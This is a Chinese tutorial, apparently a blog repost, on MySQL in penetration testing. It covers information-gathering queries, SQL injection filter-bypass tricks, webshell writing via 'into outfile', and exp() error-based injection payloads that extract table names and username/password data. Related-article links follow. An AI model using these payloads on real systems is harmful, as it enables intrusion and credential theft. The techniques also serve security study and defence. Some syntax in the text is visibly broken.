MySQL在渗透测试中的应用
原文地址:https://xz.aliyun.com/t/400
前言
作为一个安全爱好者你不可能不知道MySQL数据库,在渗透过程中,我们也很经常遇到MySQL数据库的环境,本文就带大家了解MySQL数据库,探讨在渗透过程中,我们是如何应用MySQL帮助我们突破难点。
MySQL简介
MySQL是瑞典MySQL AB公司推出的关系型数据库管理系统,现在是属于Oracle 旗下产品。
现今MySQL主要包含以下三个应用架构:
单点(Single),适合小规模应用
复制(Replication),适合中小规模应用
集群(Cluster),适合大规模应用
由于 MySQL是开放源码软件,功能也很强大,所以被广泛的应用于中小型企业。
MySQL的安装
所有平台的MySQL下载地址(挑选一个你需要的版本):
http://www.mysql.com/downloads/
Linux/UNIX上安装MySQL
rpm -i mysql.rpm #使用rpm来安装MySQL, MySQL RPM包下载地址在上面
Window上安装MySQL
Windows上安装MySQL就很简单了,我们下载安装包,然后解压,双击 setup.exe 文件,接下来只需要默认安装配置就行了。
MySQL的使用
MySQL默认监听连接的端口为3306
显示MySQL数据库基础信息
MySQL默认用户为root。
管理MySQL
管理MySQL数据库可以使用命令行或图形化工具。
Windows下的命令行
下图形界面
MySQL SQL注入相关问题
获取MySQL数据库信息的语句
获取数据库版本:
获取当前用户:
select user();
select current_user();
select current_user;
select system_user();
select session_user();

获取当前数据库
select database();
select schema();
获取所有数据库名
SELECT schema_name FROM information_schema.schemata
获取服务器主机名
select @@HOSTNAME;
获取用户是否有读写文件权限
SELECT file_priv FROM mysql.user WHERE user = 'root';(需要root用户来执行)
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';(普通用户也可以)
MySQL SQL语句特性
注释符
单行注释
--空格 单行注释
/ /多行注释
字符串截取
SELECT substr('abc',2,1);
MySQL特有的写法
在MySQL中,/! SQL语句 / 这种格式里面的SQL语句可以被当成正常的语句执行。
当版本号大于!后面的一串数据,SQL语句则执行

各种过滤绕过技巧
空格被过滤编码绕过:
%20, %09, %0a, %0b, %0c, %0d, %a0%a0UNION%a0select%a0NULL
括号绕过:UNION(SELECT(column)FROM(table))
关键字union select被过滤
http://127.0.0.1/index.php?id=1 and 1=1

or可以使用||代替,and可以使用&&代替。

关键字union select被过滤
1、 union(select(username)from(admin)); union和select之间用(代替空格。
2、 select 1 union all select username from admin; union和select之间用all,还可以用distinct3、 select 1 union%a0select username from admin; 同样的道理%a0代替了空格。
4、 select 1 union/!select/username from admin; 不解释了上面有说明。
5、 select 1 union/hello/username from admin; 注释代替空格
上述技巧是针对,直接过滤union select这个关键字的,遇到单独过滤union关键字的情况,我们就只能使用盲注技巧咯。select SUBSTRING((select username from admin where username = 'admin'),1,5)='admin';

关键字where被过滤使用limit来代替
关键字limit被过滤连limit也被过滤啦,简直是善心病狂,别担心,还有having

关键字 having被过滤大黑客居然什么都能绕,关键字having都被过滤了,看你还怎么办。呵呵,别担心,我还有group_concat()函数。

文件写入
如果我们永远文件写入权限那将很容易拿shell
select 'test' into outfile "d:\www\test.txt";

注:使用into outfile不可以覆盖已经存在的文件。
利用MySQL提权
CVE-2016-6663 / CVE-2016-5616
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码。成功利用此漏洞,允许攻击者完全访问数据库。也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限。官方的解释,新出的漏洞,大家的动作是真快,立马就有分析文章了,所以我这里不作介绍。
奇淫技巧-使用exp函数报错注入
报错注入获取表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
报错注入获取列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='admin' limit 0,1)x));

报错注入获取数据:
selectexp(~ (select*from(select concat_ws(':',id, username, password) from userslimit 0,1)x));

总结
本篇文章干货满满,首先介绍了MySQL的简介,然后分享了常见的注入技巧以及如何绕过常见的过滤姿势,再给大家带来一个小姿势,本人技术有限,如有不足还请指出,评论走起啊。
MySQL在渗透测试中的应用的更多相关文章
- 详述MySQL服务在渗透测试中的利用
本文作者:i春秋签约作家——Binghe 致力于书写ichunqiu社区历史上最长篇最细致最真实的技术复现文章. 文章目录: MySQL之UDF提权 MySQL之MOF提权 MySQL之常规写启动项提 ...
- 反向代理在Web渗透测试中的运用
在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...
- python多线程在渗透测试中的应用
难易程度:★★★ 阅读点:python;web安全; 文章作者:xiaoye 文章来源:i春秋 关键字:网络渗透技术 前言 python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天, ...
- Windows-NTFS-ADS在渗透测试中的利用
0.什么是ADS Windows:微软公司的一款视窗操作系统,其内核为WindowsNT. NTFS:WindowsNT环境的限制级专用文件系统. ADS:NTFS的系统特性,交换数据流(Altern ...
- 渗透测试中的bypass技巧
0x00 前言 许多朋友在渗透测试中因为遇到WAF而束手无策,本人应邀,与godkiller一同写下此文,希望能够对许多朋友的问题有所帮助. 此系列一共分为五篇文章,分别如下: 一.架构层绕过WAF ...
- Windows渗透测试中wmi的利用
0x01 关于WMI WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是W ...
- WMI在渗透测试中的重要性
0x01 什么是wmi WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是 ...
- 详述MSSQL服务在渗透测试中的利用(上篇)
前言: 致力于复现最实用的漏洞利用过程. 本文将带领大家学习以下内容: 学习使用`xp_cmdshell`扩展存储过程 学习调用`wscript.shell` 学习MSSQL写文件 学习沙盘模式提权 ...
- 渗透测试中如何科学地使用V*P*N
环境说明 Windows7 虚拟机,作为VPN网关,负责拨VPN.VPN可以直接OPENVPN,也可以使用ShadowSocks+SSTap. Kali 虚拟机, 渗透测试工作机 配置步骤 Windo ...
随机推荐
- C语言I博客作业02
这个作业属于那个课程 C语言程序设计I 这个作业要求在哪 https://edu.cnblogs.com/campus/zswxy/CST2019-3/homework/8656 我在这个课程的目标 ...
- Web调用Linux客户端remmina运维
相信你遇到过这样的场景,在浏览器网页中点击QQ图标咨询,就能唤起本机的装的qq或tim,下载百度网盘的资源的时候,点击链接浏览器会启动本地百度云进行下载. 最近因为项目需要,也要实现类似的操作,不 ...
- Android系统介绍与框架
一.Andriod是什么? Android系统是Google开发的一款开源移动OS,Android中文名被国内用户俗称“安卓”.Android操作系统基于Linux内核设计,使用了Google公司自己 ...
- HTML基础知识(块级标签,行内标签,行内块标签)
块级元素:独占一行,对宽高的属性值生效:如果不给宽度,块级元素就默认为浏览器的宽度,即就是100%宽: 行内元素:可以多个标签存在一行,对宽高属性值不生效,完全靠内容撑开宽高! 其中还有一种结合两种模 ...
- 服务器时间误差导致的google sign-in后台验证错误(远程调试java程序)
https://developers.google.com/identity/sign-in/web/backend-auth import com.google.api.client.googlea ...
- Label的作用是什么,是怎么用的?
label标签来定义表单控制间的关系,当用户选择该标签时,浏览器会自动将焦点转到标签相关的表单控件上. 如: <form> <label for="male"&g ...
- python编程基础之二十五
匿名函数:不用def 定义的函数,没有函数名 lambda只是一个表达式,函数体比def简单的多 lambda的函数体不再是代码块 lambda只有一行,增加运行效率 lambda [参数1][参数2 ...
- python编程基础之十
分支条件: 单一分支条件:if 条件 : 条件真运行... 双分支条件:if 条件 : 条件真运行else: 条件假运行... 多分支条件:if 条件1 : 条件1真运行elif 条件2 : 条件1假 ...
- IntelliJ IDEA使用JUnit单元测试
转载:https://www.cnblogs.com/huaxingtianxia/p/5563111.html 前言 单元测试的基本使用 一.环境配置 使用idea IDE 进行单元测试,首先需要安 ...
- python selenium单/复选框操作
一.单选:radio 1.首先是定位选择框的位置 2.定位id,点击图标就可以了,代码如下(获取url地址方法:把上面源码粘贴到文本保存为.html后缀后用浏览器打开,在浏览器url地址栏复制出地址就 ...